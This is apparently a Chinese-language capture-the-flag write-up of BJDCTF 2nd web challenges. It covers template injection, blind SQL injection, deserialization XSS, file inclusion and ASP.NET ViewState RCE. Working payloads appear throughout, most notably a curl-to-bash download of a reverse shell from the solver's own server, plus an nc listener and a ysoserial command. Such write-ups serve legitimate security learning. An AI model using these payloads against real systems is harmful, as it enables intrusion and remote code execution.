BJDCTF 2nd
Web
Fake google
知识点:模板注入
1 | /qaq?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} |
old-hack
知识点:信息收集、CVE利用
1 | http://c7c26058-4d64-4b02-be14-c7aaad68e492.node3.buuoj.cn/?s=1 |
1 | /?s=captcha |
假猪套天下第一
知识点:HTTP header
强行让我学到了很多关于http的header。也理解为什么这个标题叫这个了,好活。
开始时以为是sql注入得到admin,实际上是登陆其他用户即可,抓包响应页面的最底下有个注释。(加粗部分为本题需使用的头)
Header | 解释 | 示例 |
---|---|---|
Accept | 指定客户端能够接收的内容类型 | Accept: text/plain, text/html,application/json |
Accept-Charset | 浏览器可以接受的字符编码集。 | Accept-Charset: iso-8859-5 |
Accept-Encoding | 指定浏览器可以支持的web服务器返回内容压缩编码类型。 | Accept-Encoding: compress, gzip |
Accept-Language | 浏览器可接受的语言 | Accept-Language: en,zh |
Accept-Ranges | 可以请求网页实体的一个或者多个子范围字段 | Accept-Ranges: bytes |
Authorization | HTTP授权的授权证书 | Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== |
Cache-Control | 指定请求和响应遵循的缓存机制 | Cache-Control: no-cache |
Connection | 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) | Connection: close |
Cookie | HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。 | Cookie: $Version=1; Skin=new; |
Content-Length | 请求的内容长度 | Content-Length: 348 |
Content-Type | 请求的与实体对应的MIME信息 | Content-Type: application/x-www-form-urlencoded |
Client-ip | A common requirement is to access the real client address from the server. | Client-ip: 127.0.0.1 |
Date | 请求发送的日期和时间 | Date: Tue, 15 Nov 2010 08:12:31 GMT |
Expect | 请求的特定的服务器行为 | Expect: 100-continue |
From | 发出请求的用户的Email | From: user@email.com |
Host | 指定请求的服务器的域名和端口号 | Host: www.zcmhi.com |
If-Match | 只有请求内容与实体相匹配才有效 | If-Match: “737060cd8c284d8af7ad3082f209582d” |
If-Modified-Since | 如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码 | If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT |
If-None-Match | 如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变 | If-None-Match: “737060cd8c284d8af7ad3082f209582d” |
If-Range | 如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag | If-Range: “737060cd8c284d8af7ad3082f209582d” |
If-Unmodified-Since | 只在实体在指定时间之后未被修改才请求成功 | If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT |
Max-Forwards | 限制信息通过代理和网关传送的时间 | Max-Forwards: 10 |
Pragma | 用来包含实现特定的指令 | Pragma: no-cache |
Proxy-Authorization | 连接到代理的授权证书 | Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== |
Range | 只请求实体的一部分,指定范围 | Range: bytes=500-999 |
Referer | 先前网页的地址,当前请求网页紧随其后,即来路 | Referer: http://www.zcmhi.com/archives… |
TE | 客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息 | TE: trailers,deflate;q=0.5 |
Upgrade | 向服务器指定某种传输协议以便服务器进行转换(如果支持) | Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11 |
User-Agent | User-Agent的内容包含发出请求的用户信息 | User-Agent: Mozilla/5.0 (Linux; X11) |
Via | 通知中间网关或代理服务器地址,通信协议 | Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1) |
Warning | 关于消息实体的警告信息 | Warn: 199 Miscellaneous warning |
简单注入
知识点: SQL注入、二分法注入、SQL过滤
扫描一遍网站,发现hint.txt。
发现过滤字符时,网站会alert一个stophacking。例如等号。
没有等号,可以试试网上的二分法求解。
password=or/**/length(database())>0#&username=admin\
判断成功,页面上出现xxx需要变得stronger。
判断无效,页面仍然是girlfriend。
XSS之光
知识点: git泄露、反序列化漏洞、XSS
反序列化漏洞需要借助代码中的对象,由于泄露的代码中并没有对象,故而我们使用PHP内置的对象,类似于PWN的ROP。
7.0以上的版本可以用Error
类,5.0或者7.0以上的可以用Exception
类,因此Exception
类更为适用。
1 | $a = new Exception("<script>window.location.href='https://github.com'</script>"); |
本题在触发XSS后会在本在内的cookies显示flag。
ElementMaster
知识点: 元素周期表、火眼金睛
开始研究图片研究半天,看了下源码,源码有两个可疑id,直接给他上十六进制转字符串。
1 | 506F2E Po. |
怀疑是不是自己整错了,Po.
能有什么坏心思呢?看了下别人的wp发现是没错的,而且这是元素周期表中的钋元素,好家伙,很结合主题。题目的意思是遍历一遍元素周期表。那我也顺便学学别人是怎么写的吧。虽然不知道原作者是谁,但是由衷感谢。
1 | #coding:utf-8 |
然后爆出一个路径,直接访问得到flag。
Schrödinger
知识点:HTTP header、信息收集
开始时审查了元素,发现了test.php
页面,按照里面的提示(I left some good for you in my admin passwd.)我不进行SQL注入,而是尝试一波常用密码找回(狗头)。
cookie中的dXNlcg
变量解码后怀疑是时间戳。
cookie中的dXNlcg
变量与Forecast success rate
正比关系。
Burst successed! The passwd is av11664517@1583985203.
密码放上去一直是错,不过看到这个av开头的数值我第一想到时B站的视频,看评论找了很久。
duangShell
知识点: 代码泄露、反弹shell
题目提示swp泄露了,给他点面子,进入.index.php.swp
页面。下载后vim -r index.php
打开。
1 | <!DOCTYPE html> |
过滤了挺多东西的,而且没回显,我只能想到用curl
来反弹shell。
在自己的公网机子里放入bash.txt,内容如下。
1 | bash -i >& /dev/tcp/you_ip/9999 0>&1 |
然后在自己机子里侦听9999
1 | nc -lvnp 9999 |
在payload填充
1 | girl_friend=curl+http://your_IP/bash.txt+|+bash |
最后用find
来寻找真flag。
1 | $find / -name flag |
拓展:
文件探测*
知识点:robots、请求头、php伪协议、代码审计、格式化输出注入、session与cookie的关系、真伪随机数
考点很多,这道题还是有点值得推荐的。
robots.txt
1 | User-agent: * |
访问admin.php
页面说是要本地访问,xff、client-ip什么的都没有用途,可能是用remoteaddr
的,所以打算先放一下。
据说做BJD的题要一直开着F12,发现回显报文中有hint,指向了home.php
。进入后指定定向home.php?file=system
。
试了一下file=index
,管理员骂骂咧咧地关闭了站点。(不是)发现回显多了个.fxxkyou
不得不说出题人很素质,为避免伤了我们的心还打上了码。其他类似的我们尝试了flag
会回显not now
,admin
会回显不是管理等等。
试过一段时间后想到有可能是文件包含,那可以试试伪协议,于是/home.php?file=php://filter/convert.base64-encode/resource=system,得到system的源码,home的也得到了,其他被home的业务逻辑限制了。
1 | // system.php |
而home长这样。
1 |
|
审查代码后,可以了解我们不能直接得到flag.php等带有flag字样的文件,不能在home中得到admin文件,那么试着在system中获取admin文件。详情看代码中的注释。
1 | q1=a&q2=http://127.0.0.1/admin.php?b=&q3=GET%s% |
在system
中,通过这样的payload,我们获得了admin的源码。
1 |
|
看了一遍代码后第一个想到是mt的伪随机,但是这里的结构已经可以接近真随机了。
不过好在secret是存放在session中的,而session依赖于cookie中的sessionid,依靠这个关系我们把sessionid置空可以使该session对应键的值为NULL,这样data就是可控的了。
在本地使用aseEn函数(记得修改iv变量)构造出decrypt=OGiyKXIyhghrDCtpomyQ6A==
,置空对应cookies,完事。
参考:
拓展:
EasyAspDotNet
ASP渣在此观望。
点击click
,进入一个新页面,有了图片,改了图片的uri发现有四张图。
查看源码,发现input
中的value
类似base
,而且是变化的。
用来包含图片的脚本可以包含其他不止图片的文件ImgLoad.aspx?path=1.png
例如包含web.config
? ImgLoad.aspx?path=../../web.config
,直接用view-source下载下来。
这里已知一个RCE洞,可以使用ysoserial
来反序列化。微软官方是这么描述的。
Microsoft Exchange 验证密钥远程执行代码漏洞
当服务器在安装时无法正确创建唯一密钥时,Microsoft Exchange Server 中将存在一个远程执行代码漏洞。
知道验证密钥后,具有邮箱的认证用户可以传递要由 Web 应用程序反序列化的任意对象,该 Web 应用程序以“系统”身份运行。
现在利用刚刚的web.config
构造payload反序列化后进行远程代码执行。
1 | .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" |
将payload用post方法传入__VIEWSTATE
中,再使用cmd
参数用来执行指令即可。
工具:
参考: